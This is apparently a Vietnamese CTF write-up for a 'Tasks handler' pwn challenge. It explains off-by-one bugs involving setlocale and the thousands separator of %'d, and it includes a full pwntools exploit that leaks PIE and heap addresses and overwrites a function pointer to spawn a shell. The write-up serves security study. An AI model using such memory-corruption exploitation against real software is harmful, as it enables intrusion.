# Tasks handler
* Ở chương trình này chúng ta có thể thấy ngay 1 bug khi set `name` lúc đầu chương trình bị `off by one`
```cpp=
char name[0x10];
...
puts("What's your name?");
nbytes = read(0, name, 0x10);
name[nbytes] = '\x00';
Init(name);
```
* Hàm `Init`
```cpp=
void Init(char *name)
{
char hi[0x10];
char lang[0x10] = "en_US";
strcpy(hi, name);
setlocale(LC_ALL, lang);
printf("Hello %s\n", hi);
for(int i = 0; i < 0x10; i++)
tasks[i] = NULL;
for(int i = 0; i < 5; i++)
{
handlers[i].task_id = 0xdeadbeef;
handlers[i].is_free = 1;
}
}
```
* Ở đây chúng ta thấy rằng nó sẽ `off by one` byte đầu tiên của biến `lang` như vậy `setlocale(LC_ALL, lang)` bn đầu `setlocale(LC_ALL, "en_US")` sẽ thành `setlocale(LC_ALL, "")`
* Khi tham số thứ `2` là `""` thì `setlocale` sẽ sử dụng những biến `env` để set. Ở đây trong docker mình có xây dựng 1 vài biến để sẽ được dùng khi gọi `setlocale`
```
ENV LANG=en_US.UTF-8 \
LC_NAME=ru_RU.UTF-8 \
LC_MONETARY=ru_RU.UTF-8 \
LC_PAPER=ru_RU.UTF-8 \
LC_IDENTIFICATION=ru_RU.UTF-8 \
LC_TELEPHONE=ru_RU.UTF-8 \
LC_MEASUREMENT=ru_RU.UTF-8 \
LC_TIME=ru_RU.UTF-8 \
LC_NUMERIC=ru_RU.UTF-8
```
* Sau khi trigger được `setlocale(LC_ALL, "")` thì mới có thể dẫn tới 1 bug `off by one khác`
* Ở hàm `Coung_Age`
```cpp=
sprintf(t->result, "Result : %'d", age);
```
* Ở đây mình cho `age` tối đa là `4` chữ số nên sẽ không thể overflow được. Nhưng mà ở đây mình dùng `%'d` thì chương trình sẽ sử dụng `thousand seperator`
* Nghĩa là chẳng hạn khi `age` của mình > `1000` thì chương trình sẽ in ra kiểu `1,000`, `1'000` hoặc `1 000`
* Ở đây mình sau khi set biến `age` thành `1000`

* Debug thì ký tự ` ` chiếm `3` bytes lận nên đây là 1 bug `off by one`
* Lưu ý là chúng ta phải trigger dc `setlocale(LC_ALL, "")` vì `thousand seperator` mặc định là không có
`off by one`

* Mình là cho input trỏ về chính cái `struct`
* Các bước sau đó là mình sẽ có thể tùy chỉnh `input` để leak `pie` rồi set `func_ptr` thành `Shell_Lotto` và `input` sẽ là mảng `lotto` mà hàm đó dùng vậy là gọi dc shell
* Script này của mình có leak heap nhưng thực ra không cần chỉ cần leak được pie thôi
```py=
from pwn import *
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
elf = context.binary = ELF('tasks_handler')
READ_FILE = 1
ENCODE = 2
COUNT_AGE = 3
SHELL_LOTTO = 4
GCD = 5
def set_name(name):
sa(b'name?', name)
def add_task(id):
sla(b'>', b'1')
sla(b'>', str(id).encode())
def view_task(id):
sla(b'>', b'2')
sla(b'id:', str(id).encode())
def edit_task(id, new_input):
sla(b'>', b'3')
sla(b'id:', str(id).encode())
sa(b'input', new_input)
def delete_task(id):
sla(b'>', b'4')
sla(b'id:', str(id).encode())
def run(arr):
sla(b'>', b'5')
sla(b'run?', str(len(arr)).encode())
for i in arr:
sl(str(i).encode())
#p = remote('0', 1337)
#p = remote('103.162.14.116', 12006)
p = process()
gdb.attach(p, gdbscript='''
# b View_Task
# b Shell_Lotto
b setlocale
c''')
#off by one setlocale to get thousand seperator
set_name(b'A'*0x10)
#make heap align
add_task(READ_FILE) # 0
run([0])
sla(b'Size:', str(0xe0).encode())
sla(b'File name:', b'blabla')
#trigger off by one
add_task(COUNT_AGE) # 1
run([1])
sla(b'born?', b'1023')
sa(b'Name:', b'A')
#leak pie and heap(not need)
edit_task(1, b'A'*0x20 + b'\x10')
sla(b'>', b'2')
#heap
p.recvuntil(b'A'*0x20)
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
heap = leak - 0x3a10
print('heap: ', hex(heap))
sla(b'id:', b'1')
#leak pie
edit_task(1, b'A'*0x10 + p64(heap + 0x3a48) + p64(0x100) + p64(2) + p64(0)*2)
sla(b'>', b'2')
sla(b'id:', b'1')
p.recvuntil(b'Input: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
elf.address = leak - elf.symbols['Count_Age']
print('elf: ', hex(elf.address))
#trigger off by one again
run([1])
sla(b'born?', b'1023')
sa(b'Name:', p64(elf.symbols['Count_Age']))
#overwrite func_ptr to Shell_Lotto
task = b'A'*0x20 + p64(elf.symbols['lotto']) + p64(0x100) + p64(0)*3 + p64(elf.symbols['Shell_Lotto'])
edit_task(1, task)
run([1])
sa(b'guess:', b'A')
p.interactive()
```